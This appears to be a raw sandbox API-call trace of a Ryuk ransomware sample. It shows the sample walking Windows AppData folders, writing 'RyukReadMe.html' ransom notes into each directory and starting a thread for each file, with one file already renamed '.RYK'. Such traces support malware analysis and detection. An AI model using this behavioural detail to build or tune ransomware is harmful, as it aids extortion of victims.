	[0261.517] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56715f30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x56715f30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56715f30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0261.517] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0261.517] SetLastError (dwErrCode=0x0) 
	[0261.517] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0261.518] GetLastError () returned 0xb7
	[0261.518] CloseHandle (hObject=0x858) returned 1
	[0261.518] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57512070, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57512070, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0261.518] SetLastError (dwErrCode=0x0) 
	[0261.519] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0261.519] GetLastError () returned 0xb7
	[0261.519] CloseHandle (hObject=0x858) returned 1
	[0261.519] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57512070, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57512070, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0261.520] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57512070, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57512070, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.520] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0261.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934
	[0261.523] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.523] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x574c5db0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb.RYK", cAlternateFileName="LOCALM~1.RYK")) returned 1
	[0261.523] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938
	[0261.525] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.526] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56a81ed0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x56a81ed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56aa8030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0261.526] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0261.526] SetLastError (dwErrCode=0x0) 
	[0261.526] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0261.527] GetLastError () returned 0xb7
	[0261.527] CloseHandle (hObject=0x910) returned 1
	[0261.527] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0261.527] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.528] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0261.528] SetLastError (dwErrCode=0x0) 
	[0261.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0261.528] GetLastError () returned 0x0
	[0261.528] WriteFile (in: hFile=0x918, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0261.531] CloseHandle (hObject=0x918) returned 1
	[0261.531] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0261.532] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.532] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="0000E713", cAlternateFileName="")) returned 1
	[0261.532] SetLastError (dwErrCode=0x0) 
	[0261.532] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914
	[0261.533] GetLastError () returned 0x0
	[0261.533] WriteFile (in: hFile=0x914, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0261.536] CloseHandle (hObject=0x914) returned 1
	[0261.536] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0261.851] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.851] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x200, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0261.851] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950
	[0261.854] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.855] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x200, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0261.855] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954
	[0261.857] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.857] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x200, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
	[0261.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0261.860] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.860] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x200, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
	[0261.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904
	[0261.863] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.863] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x200, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
	[0261.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0261.865] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.866] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x200, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
	[0261.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc
	[0261.868] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.868] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x200, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
	[0261.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900
	[0261.870] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.870] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x200, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
	[0261.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c
	[0261.872] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.873] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x200, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
	[0261.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c
	[0261.875] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x200, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
	[0261.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908
	[0261.879] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.879] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x200, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
	[0261.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0261.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8
	[0261.882] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
